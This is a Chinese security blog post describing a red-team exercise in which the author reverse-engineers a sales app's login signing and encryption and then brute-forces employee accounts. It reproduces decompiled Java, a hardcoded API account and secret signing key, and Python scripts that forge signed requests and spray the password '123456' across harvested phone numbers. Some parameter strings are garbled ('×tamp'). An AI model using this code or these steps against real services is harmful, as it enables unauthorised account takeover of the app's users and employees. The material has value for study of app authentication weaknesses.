記一次APP登錄爆破
VSole2022-08-05 15:14:01
前言某次攻防演練中,在前期信息收集的時候找到了一款客戶銷售APP,沒有注冊接口,通過收集目標APP的內部員工手機號,對其進行口令爆破。
使用工具安卓12
jadx-gui
- 抓取登錄HTTP請求包安裝burp證書,并抓取登錄請求
POST /loginUser HTTP/1.1Host: api.xxxx.xxxxx.com apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&phone=xxxx&sign=72C132B392873B3F4F6C0872E5EC4B5A&enc=M%2F8hR0rN%2B0KwSGZ59%2FGQqWbrUgTAMZW%2FPnv2tiKlMjGmy%2Fmtu7tXSEftEkTLOoczSXH8%3D×tamp=1658332134014
- 分析登錄請求包中需要五個參數
- apiaccount
- sign
- enc
- phone
- timestamp
反編譯分析apiaccount
搜索關鍵詞

此關鍵詞為固定值vrpuc-aaf91f835147ce2d01216bd3bd5c3516
phone
手機號
timestamp
- 此值為當前的時間戳
String.valueOf(System.currentTimeMillis())

- 改寫為python代碼
import timetimestamp = str(int(time.time()*1000))
sign





public static O d(String str, String str2) { HashMap hashMap = new HashMap(); hashMap.put("phone", str); hashMap.put("enc", e(str2)); return c.g.b.f.b.c(f.h(), a(hashMap)); }
private static Map<String, String> a(Map<String, String> map) { HashMap hashMap = new HashMap(); hashMap.put("apiaccount", "vrpuc-aaf91f835147ce2d01216bd3bd5c3516"); hashMap.put("timestamp", String.valueOf(System.currentTimeMillis())); TreeMap treeMap = new TreeMap(); treeMap.putAll(hashMap); if (map != null) { treeMap.putAll(map); } hashMap.put("sign", a((SortedMap<String, String>) treeMap)); if (map != null) { hashMap.putAll(map); } return hashMap; }
private static String a(SortedMap<String, String> sortedMap) { StringBuffer stringBuffer = new StringBuffer(); for (Map.Entry<String, String> entry : sortedMap.entrySet()) { if (!TextUtils.isEmpty(entry.getValue())) { stringBuffer.append(entry.getKey() + "=" + entry.getValue() + "&"); } } stringBuffer.append("key=a0f723c011346j39w049d7bf0356b34b"); return D.d(stringBuffer.toString()).toUpperCase(); } private static byte[] a(byte[] bArr, String str) { if (bArr != null && bArr.length > 0) { try { MessageDigest messageDigest = MessageDigest.getInstance(str); messageDigest.update(bArr); return messageDigest.digest(); } catch (NoSuchAlgorithmException e2) { e2.printStackTrace(); } } return null; }
private static String q(byte[] bArr) { int length; if (bArr != null && (length = bArr.length) > 0) { char[] cArr = new char[length << 1]; int i2 = 0; for (int i3 = 0; i3 < length; i3++) { int i4 = i2 + 1; char[] cArr2 = f10685a; cArr[i2] = cArr2[(bArr[i3] >> 4) & 15]; i2 = i4 + 1; cArr[i4] = cArr2[bArr[i3] & 15]; } return new String(cArr); } return ""; }
sign參數組合
xxxxxxxxxx sign_ori = 'apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&enc=' + enc + '&phone=xxxxxx×tamp=' + tmtp + '&key=a0f723c011346j39w049d7bf0356b34b'
enc
`str = phone ` `str2 = password`









大致流程
- 輸入密碼
- 密碼 + 隨機10位
salt "password=" + "密碼" + "&salt=" + salt- 使用此函數操作密鑰
private static byte[] b(String str) throws UnsupportedEncodingException { int i2; byte b2; int i3; byte b3; int i4; byte b4; int i5; byte b5; StringBuffer stringBuffer = new StringBuffer(); byte[] bytes = str.getBytes("US-ASCII"); int length = bytes.length; int i6 = 0; while (i6 < length) { while (true) { i2 = i6 + 1; b2 = f16023b[bytes[i6]]; if (i2 >= length || b2 != -1) { break; } i6 = i2; } if (b2 == -1) { break; } while (true) { i3 = i2 + 1; b3 = f16023b[bytes[i2]]; if (i3 >= length || b3 != -1) { break; } i2 = i3; } if (b3 == -1) { break; } stringBuffer.append((char) ((b2 << 2) | ((b3 & 48) >>> 4))); while (true) { i4 = i3 + 1; byte b6 = bytes[i3]; if (b6 == 61) { return stringBuffer.toString().getBytes("iso8859-1"); } b4 = f16023b[b6]; if (i4 >= length || b4 != -1) { break; } i3 = i4; } if (b4 == -1) { break; } stringBuffer.append((char) (((b3 & 15) << 4) | ((b4 & 60) >>> 2))); while (true) { i5 = i4 + 1; byte b7 = bytes[i4]; if (b7 == 61) { return stringBuffer.toString().getBytes("iso8859-1"); } b5 = f16023b[b7]; if (i5 >= length || b5 != -1) { break; } i4 = i5; } if (b5 == -1) { break; } stringBuffer.append((char) (b5 | ((b4 & 3) << 6))); i6 = i5; } return stringBuffer.toString().getBytes("iso8859-1"); }
- RSA加密
Cipher cipher = Cipher.getInstance("RSA"); cipher.init(1, publicKey); return cipher.doFinal(bArr);
- 使用此函數處理加密后的結果
public static String a(byte[] bArr) { StringBuffer stringBuffer = new StringBuffer(); int length = bArr.length; int i2 = 0; while (true) { if (i2 >= length) { break; } int i3 = i2 + 1; int i4 = bArr[i2] & 255; if (i3 == length) { stringBuffer.append(f16022a[i4 >>> 2]); stringBuffer.append(f16022a[(i4 & 3) << 4]); stringBuffer.append("=="); break; } int i5 = i3 + 1; int i6 = bArr[i3] & 255; if (i5 == length) { stringBuffer.append(f16022a[i4 >>> 2]); stringBuffer.append(f16022a[((i4 & 3) << 4) | ((i6 & PsExtractor.VIDEO_STREAM_MASK) >>> 4)]); stringBuffer.append(f16022a[(i6 & 15) << 2]); stringBuffer.append("="); break; } int i7 = i5 + 1; int i8 = bArr[i5] & 255; stringBuffer.append(f16022a[i4 >>> 2]); stringBuffer.append(f16022a[((i4 & 3) << 4) | ((i6 & PsExtractor.VIDEO_STREAM_MASK) >>> 4)]); stringBuffer.append(f16022a[((i6 & 15) << 2) | ((i8 & 192) >>> 6)]); stringBuffer.append(f16022a[i8 & 63]); i2 = i7; } return stringBuffer.toString(); }
- 編寫python腳本
def main(phone,password): url = "https://xx.com/loginUser" sign = "" enc = "" tmtp = str(int(time.time() * 1000))
salt = "1234567890" # 隨機生成的10個數字 enc_ori = "password=" + password + "&salt=" + salt enc = gen_enc(enc_ori)
sign_ori = 'apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&enc=' + enc + '&phone=' + phone+'×tamp=' + tmtp + '&key=a0f723c011346j39w049d7bf0356b34b'
sign = gen_sign(sign_ori) print(quote_plus(enc))
data = "apiaccount=vrpuc-aaf91f835147ce2d01216bd3bd5c3516&phone="+phone+"&sign=" + sign + "&enc=" + quote_plus(enc) + "×tamp=" + tmtp
res = requests.post(url=url, data=data) print(res.text)

- 加字典爆破
def main(phone, password): res = requests.post(url=url, headers=headers, data=data) print(res.text)
if __name__ == "__main__": with open("phone","r") as f: for i in f.readlines(): main(i.strip(),"123456")
- 總結前期目標APP資產
- 收集用戶手機號信息
- 生成弱口令字典
- 對目標進行爆破
VSole
網絡安全專家